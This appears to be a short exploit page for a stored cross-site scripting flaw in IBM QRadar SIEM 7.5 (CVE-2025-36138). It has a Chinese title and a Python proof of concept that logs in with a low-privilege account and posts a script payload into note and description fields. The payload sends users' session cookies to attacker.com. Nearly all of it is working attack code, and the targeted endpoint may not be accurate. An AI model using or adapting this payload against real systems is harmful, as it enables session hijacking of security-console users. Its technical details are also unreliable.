IBM QRadar SIEM 7.5 存储型跨站脚本漏洞 (CVE-2025-36138)

import requests import json # CVE-2025-36138 PoC - Stored XSS in IBM QRadar SIEM 7.5 # This PoC demonstrates how to inject malicious JavaScript via vulnerable input field TARGET = "https://qradar.example.com" LOGIN_URL = f"{TARGET}/console/login" XSS_PAYLOAD = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" def exploit_stored_xss(): """ Steps: 1. Authenticate with low-privilege user credentials 2. Identify vulnerable input field (e.g., note/comment field) 3. Inject XSS payload into the field 4. Payload gets stored and executed when viewed by other users """ session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'low_priv_user', 'password': 'password123' } session.post(LOGIN_URL, data=login_data) # Step 2: Inject XSS payload into vulnerable field # Typically found in offense notes, custom properties, or report descriptions vulnerable_endpoint = f"{TARGET}/api/ariel/records" exploit_data = { 'note': XSS_PAYLOAD, 'description': f"Offense Note: {XSS_PAYLOAD}" } # Step 3: Send malicious payload response = session.post(vulnerable_endpoint, json=exploit_data) print(f"[*] Payload sent, status: {response.status_code}") print(f"[*] Payload: {XSS_PAYLOAD}") print("[*] XSS will execute when any user views the affected record") return True if __name__ == "__main__": exploit_stored_xss()